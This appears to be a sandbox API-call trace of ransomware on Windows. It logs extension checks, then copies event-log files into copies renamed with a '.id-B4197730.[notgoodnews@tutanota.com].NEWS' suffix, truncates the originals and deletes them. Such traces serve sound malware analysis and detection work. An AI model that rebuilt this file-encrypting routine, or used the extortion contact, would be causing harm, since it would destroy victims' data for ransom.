[0078.942] lstrlenW (lpString=".1cd") returned 4 [0078.942] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0078.942] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0078.942] lstrlenW (lpString=".jpg") returned 4 [0078.942] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0078.943] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0078.943] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0078.943] lstrlenW (lpString=".doc") returned 4 [0078.943] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0078.943] lstrlenW (lpString=".docx") returned 5 [0078.943] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0078.943] lstrlenW (lpString=".pdf") returned 4 [0078.943] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0078.943] lstrlenW (lpString=".xls") returned 4 [0078.943] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0078.943] lstrlenW (lpString=".xlsx") returned 5 [0078.943] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0078.943] lstrlenW (lpString=".ppt") returned 4 [0078.943] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0078.943] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0078.943] lstrlenW (lpString=".zip") returned 4 [0078.943] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0078.943] lstrlenW (lpString=".rar") returned 4 [0078.943] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0078.943] lstrlenW (lpString=".bz2") returned 4 [0078.943] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0078.943] lstrlenW (lpString=".7z") returned 3 [0078.943] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0078.943] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0078.943] lstrlenW (lpString=".dbf") returned 4 [0078.943] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0078.943] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0078.943] lstrlenW (lpString=".1cd") returned 4 [0078.943] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0078.943] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0078.943] lstrlenW (lpString=".jpg") returned 4 [0078.943] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0078.944] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0078.944] lstrlenW (lpString="Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 50 [0078.944] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0078.944] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=69632) returned 1 [0078.944] CloseHandle (hObject=0x378) returned 1 [0078.944] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx")) returned 0x20 [0078.944] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0078.944] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0078.944] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.944] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.944] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0078.945] GetLastError () returned 0x0 [0078.945] ReadFile (in: hFile=0x378, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x11000, lpOverlapped=0x0) returned 1 [0078.949] WriteFile (in: hFile=0x38c, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x11010, lpOverlapped=0x0) returned 1 [0078.951] ReadFile (in: hFile=0x378, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0078.951] WriteFile (in: hFile=0x38c, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x138, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x138, lpOverlapped=0x0) returned 1 [0078.952] SetEndOfFile (hFile=0x38c) returned 1 [0078.952] CloseHandle (hObject=0x38c) returned 1 [0078.954] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.954] SetEndOfFile (hFile=0x378) returned 1 [0078.955] CloseHandle (hObject=0x378) returned 1 [0078.959] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0078.959] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx")) returned 1 [0078.960] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0078.960] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0078.960] lstrlenW (lpString=".doc") returned 4 [0078.960] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0078.960] lstrlenW (lpString=".docx") returned 5 [0078.960] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0078.960] lstrlenW (lpString=".pdf") returned 4 [0078.960] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0078.960] lstrlenW (lpString=".xls") returned 4 [0078.960] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0078.960] lstrlenW (lpString=".xlsx") returned 5 [0078.960] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0078.960] lstrlenW (lpString=".ppt") returned 4 [0078.960] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0078.960] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0078.960] lstrlenW (lpString=".zip") returned 4 [0078.960] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0078.960] lstrlenW (lpString=".rar") returned 4 [0078.960] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0078.960] lstrlenW (lpString=".bz2") returned 4 [0078.960] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0078.960] lstrlenW (lpString=".7z") returned 3 [0078.960] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0078.960] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0078.960] lstrlenW (lpString=".dbf") returned 4 [0078.961] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0078.961] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0078.961] lstrlenW (lpString=".1cd") returned 4 [0078.961] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0078.961] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0078.961] lstrlenW (lpString=".jpg") returned 4 [0078.961] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0078.961] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0078.961] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0078.961] lstrlenW (lpString=".doc") returned 4 [0078.961] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0078.961] lstrlenW (lpString=".docx") returned 5 [0078.961] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0078.961] lstrlenW (lpString=".pdf") returned 4 [0078.961] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0078.961] lstrlenW (lpString=".xls") returned 4 [0078.961] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0078.961] lstrlenW (lpString=".xlsx") returned 5 [0078.961] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0078.961] lstrlenW (lpString=".ppt") returned 4 [0078.961] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0078.961] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0078.961] lstrlenW (lpString=".zip") returned 4 [0078.961] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0078.961] lstrlenW (lpString=".rar") returned 4 [0078.961] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0078.961] lstrlenW (lpString=".bz2") returned 4 [0078.961] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0078.961] lstrlenW (lpString=".7z") returned 3 [0078.961] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0078.961] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0078.961] lstrlenW (lpString=".dbf") returned 4 [0078.961] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0078.961] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0078.961] lstrlenW (lpString=".1cd") returned 4 [0078.962] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0078.962] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0078.962] lstrlenW (lpString=".jpg") returned 4 [0078.962] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0078.962] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0078.962] lstrlenW (lpString="Microsoft-Windows-Ntfs%4Operational.evtx") returned 40 [0078.962] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0078.963] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=69632) returned 1 [0078.963] CloseHandle (hObject=0x378) returned 1 [0078.963] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx")) returned 0x20 [0078.963] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0078.963] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0078.963] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.963] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.963] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0078.964] GetLastError () returned 0x0 [0078.964] ReadFile (in: hFile=0x378, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x11000, lpOverlapped=0x0) returned 1 [0078.967] WriteFile (in: hFile=0x38c, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x11010, lpOverlapped=0x0) returned 1 [0078.968] ReadFile (in: hFile=0x378, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0078.969] WriteFile (in: hFile=0x38c, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x124, lpOverlapped=0x0) returned 1 [0078.969] SetEndOfFile (hFile=0x38c) returned 1 [0079.427] CloseHandle (hObject=0x38c) returned 1 [0079.429] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.430] SetEndOfFile (hFile=0x378) returned 1 [0079.431] CloseHandle (hObject=0x378) returned 1 [0079.431] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0079.432] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx")) returned 1 [0079.432] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0079.432] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0079.432] lstrlenW (lpString=".doc") returned 4 [0079.432] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0079.432] lstrlenW (lpString=".docx") returned 5 [0079.432] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0079.432] lstrlenW (lpString=".pdf") returned 4 [0079.432] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0079.432] lstrlenW (lpString=".xls") returned 4 [0079.432] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0079.432] lstrlenW (lpString=".xlsx") returned 5 [0079.432] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0079.432] lstrlenW (lpString=".ppt") returned 4 [0079.432] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0079.433] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0079.433] lstrlenW (lpString=".zip") returned 4 [0079.433] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0079.433] lstrlenW (lpString=".rar") returned 4 [0079.433] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0079.433] lstrlenW (lpString=".bz2") returned 4 [0079.433] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0079.433] lstrlenW (lpString=".7z") returned 3 [0079.433] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0079.433] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0079.433] lstrlenW (lpString=".dbf") returned 4 [0079.433] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0079.433] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0079.433] lstrlenW (lpString=".1cd") returned 4 [0079.433] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0079.433] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0079.433] lstrlenW (lpString=".jpg") returned 4 [0079.433] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0079.433] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0079.433] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0079.433] lstrlenW (lpString=".doc") returned 4 [0079.433] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0079.433] lstrlenW (lpString=".docx") returned 5 [0079.433] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0079.433] lstrlenW (lpString=".pdf") returned 4 [0079.433] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0079.433] lstrlenW (lpString=".xls") returned 4 [0079.433] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0079.434] lstrlenW (lpString=".xlsx") returned 5 [0079.434] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0079.434] lstrlenW (lpString=".ppt") returned 4 [0079.434] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0079.434] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0079.434] lstrlenW (lpString=".zip") returned 4 [0079.434] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0079.434] lstrlenW (lpString=".rar") returned 4 [0079.434] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0079.434] lstrlenW (lpString=".bz2") returned 4 [0079.434] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0079.434] lstrlenW (lpString=".7z") returned 3 [0079.434] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0079.434] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0079.434] lstrlenW (lpString=".dbf") returned 4 [0079.434] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0079.434] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0079.434] lstrlenW (lpString=".1cd") returned 4 [0079.434] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0079.434] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0079.434] lstrlenW (lpString=".jpg") returned 4 [0079.434] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0079.434] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0079.434] lstrlenW (lpString="Microsoft-Windows-SettingSync%4Operational.evtx") returned 47 [0079.435] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0079.435] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=69632) returned 1 [0079.435] CloseHandle (hObject=0x378) returned 1 [0079.435] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx")) returned 0x20 [0079.435] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0079.435] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0079.435] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.435] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.436] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0079.436] GetLastError () returned 0x0 [0079.436] ReadFile (in: hFile=0x378, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x11000, lpOverlapped=0x0) returned 1 [0079.440] WriteFile (in: hFile=0x38c, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x11010, lpOverlapped=0x0) returned 1 [0079.443] ReadFile (in: hFile=0x378, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0079.444] WriteFile (in: hFile=0x38c, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x132, lpOverlapped=0x0) returned 1 [0079.444] SetEndOfFile (hFile=0x38c) returned 1 [0079.444] CloseHandle (hObject=0x38c) returned 1 [0079.446] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.446] SetEndOfFile (hFile=0x378) returned 1 [0079.448] CloseHandle (hObject=0x378) returned 1 [0079.448] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0079.448] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx")) returned 1 [0079.448] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0079.448] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0079.448] lstrlenW (lpString=".doc") returned 4 [0079.448] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0079.448] lstrlenW (lpString=".docx") returned 5 [0079.448] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0079.449] lstrlenW (lpString=".pdf") returned 4 [0079.449] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0079.449] lstrlenW (lpString=".xls") returned 4 [0079.449] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0079.449] lstrlenW (lpString=".xlsx") returned 5 [0079.449] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0079.449] lstrlenW (lpString=".ppt") returned 4 [0079.449] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0079.449] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0079.449] lstrlenW (lpString=".zip") returned 4 [0079.449] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0079.449] lstrlenW (lpString=".rar") returned 4 [0079.449] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0079.449] lstrlenW (lpString=".bz2") returned 4 [0079.449] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0079.449] lstrlenW (lpString=".7z") returned 3 [0079.449] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0079.449] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0079.449] lstrlenW (lpString=".dbf") returned 4 [0079.449] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0079.449] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0079.449] lstrlenW (lpString=".1cd") returned 4 [0079.449] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0079.449] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0079.449] lstrlenW (lpString=".jpg") returned 4 [0079.449] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0079.449] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0079.449] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0079.449] lstrlenW (lpString=".doc") returned 4 [0079.449] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0079.449] lstrlenW (lpString=".docx") returned 5 [0079.449] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0079.449] lstrlenW (lpString=".pdf") returned 4 [0079.449] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0079.450] lstrlenW (lpString=".xls") returned 4 [0079.450] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0079.450] lstrlenW (lpString=".xlsx") returned 5 [0079.450] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0079.450] lstrlenW (lpString=".ppt") returned 4 [0079.450] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0079.450] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0079.450] lstrlenW (lpString=".zip") returned 4 [0079.450] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0079.450] lstrlenW (lpString=".rar") returned 4 [0079.450] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0079.450] lstrlenW (lpString=".bz2") returned 4 [0079.450] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0079.450] lstrlenW (lpString=".7z") returned 3 [0079.450] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0079.450] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0079.450] lstrlenW (lpString=".dbf") returned 4 